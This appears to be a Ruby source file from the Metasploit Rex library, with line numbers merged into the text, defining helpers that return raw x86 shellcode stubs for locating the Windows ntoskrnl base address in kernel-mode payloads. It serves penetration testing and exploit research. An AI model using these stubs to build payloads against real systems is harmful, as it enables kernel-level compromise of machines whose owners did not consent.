Path: blob/master/lib/rex/payloads/win32/kernel/common.rb
19669 views
# -*- coding: binary -*-1module Rex2module Payloads3module Win324module Kernel567#8# This class provides common methods that may be shared across more than9# one kernel-mode payload. Many of these are from the following paper:10#11# http://www.uninformed.org/?v=3&a=4&t=sumry12#13module Common1415#16# Returns a stub that will find the base address of ntoskrnl and17# place it in eax. This method works by using an IDT entry. Credit18# to eEye.19#20def self.find_nt_idt_eeye21"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"22end2324#25# Returns a stub that will find the base address of ntoskrnl and26# place it in eax. This method uses a pointer found in KdVersionBlock.27#28def self.find_nt_kdversionblock29"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"30end3132#33# Returns a stub that will find the base address of ntoskrnl and34# place it in eax. This method uses a pointer found in the35# processor control region as a starting point.36#37def self.find_nt_pcr38"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"39end4041#42# Alias for resolving symbols.43#44def self.resolve_call_sym45Rex::Payloads::Win32::Common.resolve_call_sym46end4748end4950end51end52end53end545556